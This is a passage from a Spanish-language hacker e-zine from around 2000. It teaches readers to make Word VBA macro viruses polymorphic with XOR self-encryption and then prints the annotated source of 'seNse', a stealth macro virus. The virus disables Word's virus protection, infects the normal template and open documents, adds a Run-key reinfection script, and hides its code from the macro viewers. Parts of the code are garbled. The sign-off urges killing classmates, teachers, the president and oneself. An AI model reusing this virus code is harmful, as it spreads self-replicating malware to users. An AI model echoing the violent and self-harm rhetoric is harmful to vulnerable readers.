avanzadas en VBA y ahora continuaremos con algo que los mas inteligentes de
ustedes ya habran descubierto, si podemos encriptar una variable, por que no
encriptamos todo el codigo?, y eso es lo que vamos a hacer vamos a encriptar
todo el codigo, simplemente ponemos el codigo encriptado como si fuera un 
comentario y luego se lo vamos agregando e una sub vacia creada con este
proposito, y para  ensayarlo vamos a encriptar la misma funcion de ahora :


Sub Vil()
 papo = "Ejemplo de polimorfismo para tcdiaries #2"
 jose = "Trenchcoat Legion - Tcdiaries.cjb.net"
 alert = vbCritical
MsgBox papo, alert, jose
End Sub

Y usaremos la misma funcion de encriptar un xor con un 6, pero lo que nos in-
teresa es la funcion unnencrypt la cual le hemos hecho pequeas modificaciones :

Sub unencrypt(cad As String, num As Integer)
For x = 2 To Len(cad)
car = Mid$(cad, x, 1)
numcar = Asc(car)
newcar = numcar Xor 6
newcad$ = newcad$ + Chr$(newcar)
Next x
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine num + 10, "papo = " & Chr(34) & newpapo$ & Chr(34)
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine num + 10, "jose = " & Chr(34) & newjose$ & Chr(34)
End Sub

Como vemos ahora se le pasan dos parametros a la funcion, la cadena a en-
criptar,el primero es la cadena que vamos a encriptar y el segundo es la
posicion de la linea para que la funcion sepa donde ponerlas,como vemos vamos
a escribir el codigo desencriptado a partir de la line 10, porque en la linea
9 empieza la nueva sub, asi que veamos como que da la funcion encriptada y con
la llamada a al funcion que la desencripta  :

Codigo encriptado :

Sub Vil()
'&vgvi&$&;&Clckvji&bc&vijokit`ouki&vgtg&rebogtocu&%4&$
'liuc&$;&Rtcheneigr&Jcaoih&+&Rebogtocu(eld(hcr$
'gjctr&;&pdEtoroegj
'KuaDi~&vcvo*&gjctr*&vcvs
Dim x As Integer
For x = 2 To 5
lin$ = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(x, 1)
Call unencrypt(lin$, x)
Next x
End Sub

Funcion que desencripta :

Sub unencrypt(cad As String, num As Integer)
For x = 2 To Len(cad)
car = Mid$(cad, x, 1)
numcar = Asc(car)
newcar = numcar Xor 6
newcad$ = newcad$ + Chr$(newcar)
Next x
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine num + 23, newcad$
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine num + 23, newcad$
End Sub
Sub pepe()  ' Aqui se mete el codigo desencriptado 





End Sub


Asi que si copiamos esto en la seccion normal template en this document y
lo ejecutamos veremos como Sub Pepe() se convierte en esto :

Sub pepe()
 papo = "Ejemplo de polimorfismo para tcdiaries #2 "
jose = "Trenchcoat Legion - Tcdiaries.cjb.net"
alert = vbCritical
MsgBox papo, alert, jose
End Sub

Asi que si este fuera un virus lo que hariamos seria borrar este codigo
despues de ejecutarlo y variar los valores del Xor cuando el virus se repro-
duzav y listo !, Nuestro virus es casi irreconocible y muy dificil de detctar,
ya que la mayoria de Anti-Virus se basn en cadenas como : ".viruspritection" y
cosas por el estilo para reconocer el virus y al ser este polimorfico ya no 
tiene estos problemas.

Ya hemos llegado a la cima de la polimorfia en VBA o no ?, pues el porblema
es que sigue habiendo
una parte del virus, el desencriptador, que se mantiene constante por lo tanto
tenemos que tratar de varia r este agregandole comentarios entre lineas,
cambiando el nombre de las variables o incluso si somos los uficientemente
emprendedores podemos agregar tecnicas de virus de Asm como mutar el desen-
criptador havciendo que en lugar de hacer un simple xor, haga varias sumas,
restas y xor, agregandole junk code, es decir codigo que no haga nada, como:
"derfd = ifheef/ jfe +2" o cosas por el estilo que hagan del desncriptador una
cosa diferente de generacion en generacion,algo realmente elite! ;)


Analisis Del Virus :
------------------ -  

                                     Sence.c By Fore                           


Sub AutoExec() 
Call StealthEnd 
Sub AutoClose()
On Error Resume Next
'MyName = seNse
'WrittenBy = f0re
'SpecialTanksTo = Flitnic
'Version = .C (1.1)
'I have written three different stealth viruses, each using their own technique. This is the
'second in the series and its based on an idea by flitnic. The virus uses an external batch
'file to reinfect the normal template. Put this code in a module called "seNse". Of course'this is not perfect stealth, though a nice compact attempt :). To maintain readability i'have not included any antiheuristics in this code (check out m00d for anti heuristics).
'If you find any errors please let me know.
Options.VirusProtection = False: 
Options.ConfirmConversions = False: 
Options.SaveNormalPrompt = Falsewindir = Environ("windir")
'  preparamos el terreno, cuandrando algunas opciones
If Dir(NormalTemplate.FullName) = "" Then 
GoTo EndSub
SetAttr NormalTemplate.FullName, vbNormal
If NormalTemplate.VBProject.VBComponents.Item("seNse").CodeModule.Lines(7, 1) <> "'MyName = seNse" Then
'  Miramos a ver si no estamos en Normal Template
ActiveDocument.vbproject.vbcomponents("seNse").export (windir & "\tempad.dll")
'  Si es asi exportamos el virus del doc
NormalTemplate.vbproject.vbcomponents.import (windir & "\tempad.dll")
'  Y lo importamos en la Template :)
NormalTemplate.SaveEnd 
If ActiveDocument.VBProject.VBComponents.Item("seNse").CodeModule.Lines(7, 1) <> "'MyName = seNse" Then 
NormalTemplate.vbproject.vbcomponents("seNse").export (windir & "\tempnt.dll")
ActiveDocument.vbproject.vbcomponents.import (windir & "\tempnt.dll")
ActiveDocument.SaveAs ActiveDocument.FullNameEnd 
'  Hacemos el mismo procedimiento con el doc 
If Dir(windir & "\seNse.vbs") <> "" Then Kill (windir & "\seNse.vbs")
If Dir(windir & "\seNse.dll") <> "" Then Kill (windir & "\seNse.dll")
'  Si existe sense.* los borramos
NormalTemplate.VBProject.VBComponents("seNse").Export (windir & "\seNse.dll")
'  Exportamos el codigo de nuevo
System.PrivateProfileString("", "HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\run", "seNse") = windir & "\seNse.vbs"
'  Ponemos sence.Vbs para que se ejecute cuando se inicie Windows
Open windir & "\seNse.vbs" For Append As #1
Print #1, "On error resume next"
Print #1, "Set WordObj = CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
Print #1, "WordObj.Options.SaveNormalPrompt = False"
Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.remove WordObj.NormalTemplate.VBProject.VBComponents(" & Chr(34) & "seNse" & Chr(34) & ")"
Print #1, "WordObj.NormalTemplate.save"
Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.import (" & Chr(34) & windir & "\seNse.dll" & Chr(34) & ")"
Print #1, "WordObj.NormalTemplate.save"
Print #1, "set NT = nothing"
Print #1, "WordObj.Quit"
Close #1
' Creamos un archivo en Visual Basic Script que reinfctara la Template en caso de que la tengamos
' que borrar
EndSub:
End Sub
Sub Stealth()
windir = Environ("windir")
If Dir(windir & "\System\id.sys") <> "" Then Kill windir & "\System\id.sys"
If Dir(windir & "\System\seNse.bat") <> "" Then  Kill windir & "\System\seNse.bat"
NormalTemplate.OpenAsDocument
NTAtt = ActiveDocument.ReadOnlyActiveDocument.SaveAs FileName:=windir & "\System\id.sys", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=FalseNormalTemplate.Saved = TrueActiveDocument.Saved = TrueActiveDocument.Close
'  Guardamos la Normal Template como id.sys
Close #1
Open windir & "\System\seNse.bat" For Append As #1
Print #1, ":
Begin"For i = 1 To 500
Print #1, "rem seNse was coded by f0re [UC/Skamwerks/DVC]"Next i
Print #1, ":Begin"
Print #1, "Move /y " & Chr(34) & "c:\windll.dat" & Chr(34) & " " & Chr(34) & NormalTemplate.FullName & Chr(34)
Print #1, "If exist c:\windll.dat goto Begin"
Close #1
FileCopy windir & "\System\id.sys", "c:\windll.dat"
NTReturn = Shell(windir & "\System\seNse.bat", 0)
; remplazamos la nueva Template por la vieja "Infectada"
End Sub
Sub ViewVBCode()
'  Se llama cuando el usuario va a ver el codigo de VB
On Error Resume Next
NormalTemplate.VBProject.VBComponents("seNse").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLines
NormalTemplate.Saved = True
NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents("seNse")
NormalTemplate.Saved = True
'  Borramos todo el codigo de Normal Template
Docnumber = Application.Documents.Count
If  docnumber >= 1 Then 
For X = 1 to docnumber  
Documents(X).VBProject.VBComponents("seNse").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("seNse").CodeModule.CountOfLines  
Documents(X).Saved = True  
Documents(X).VBProject.VBComponents.Remove Documents(X).VBProject.VBComponents("seNse")  
Documents(X).Saved = True 
Next X
End If
'  Borramos el codigo de los docs
Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
For X = 1 To NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLines 
CodeNT = CodeNT & NormalTemplate.VBProject.VBComponents("seNse").CodeModule.Lines(X, 1) & Chr(13)
Next X
NormalTemplate.VBProject.VBComponents("seNse").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("seNse").CodeModule.CountOfLines
NormalTemplate.Saved = True
Docnumber = Application.Documents.Count 
If docnumber >= 1 Then For X = 1 To ActiveDocument.VBProject.VBComponents("seNse").CodeModule.CountOfLines  
CodeAD = CodeAD & ActiveDocument.VBProject.VBComponents("seNse").CodeModule.Lines(X, 1) & Chr(13) 
Next X 
For X = 1 to docnumber  Documents(X).VBProject.VBComponents("seNse").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("seNse").CodeModule.CountOfLines  
Documents(X).Saved = True 
Next X
End If
'  Borramos el codigo del doc y la Normal pero antes lo guardamos en CodeAD y codeNT
Application.Dialogs(wdDialogToolsMacro).Show
If Application.ShowVisualBasicEditor = False Then 
NormalTemplate.VBProject.VBComponents("seNse").CodeModule.InsertLines 1, CodeNT 
NormalTemplate.Save 
If docnumber >= 1 Then  For X=1 to docnumber   
Documents(X).VBProject.VBComponents("seNse").CodeModule.InsertLines 1, CodeAD   Documents(X).SaveAs Documents(X).FullName  
Next X 
'  Lo reinsertamos si ya no se puede ver el Editor de visual basic
End If
End If
End Sub



Fin  De la parte 2

         
                                   Vil Roach/Trenchcoat Legion - TCDiaries : Toda un comida !

Nota : Si alguien esta leyendo este curso por favor hagamelo saber en mi email (vil_roach@uole.com)
para saber si continuo con el !.

_____________________________________________________________________________
__18_________________________________________________________________________


Despedida

Hasta la proxima, kill the law, kill a fucking mime, kill the peruvian ppl,
kill backstreet boys, kill nsync, kill the media, kill the tv and movie stars,
kill bad programmers, kill lamers, kill bourgeoisie, kill priests, kill the
pope, kill the president, kill the the politicians, kill the liers, kill your
classmates, kill stupid people, kill your teachers, kill the smugs, kill the
comedians, kill the stylists, kill every motherfucker thats in your way, kill
yourself if you want, but never forget that "death" is only a word, is only a
symbol, and the stupid people are already dead! ok!?. And i dont know english
y las tostadas siempre caen por el lado de la mantequilla.

En trenchcoat diaries 3:

- Mas basura.
- More shit.
- Segundas partes de las primeras partes asi como terceras partes de las  
  primeras y segundas partes asi como posibles cuartas partes sin dejar a un
  lado primeras partes de segundas partes para la tcdiaries 4.
- Mas infeccion.
- Mas noticias.
- Otra editorial y email del lector.
- Mas cracking.
- Mas fucking the world.
- Mas drogas y alcohol.
- Informacion sobre Trenchcoat Diaries.
- Mas programas.
- Tal vez nada de lo anterior.
_____________________________________________________________________________
_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_
_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_FIN_


                                                      Trenchcoat Legion 2000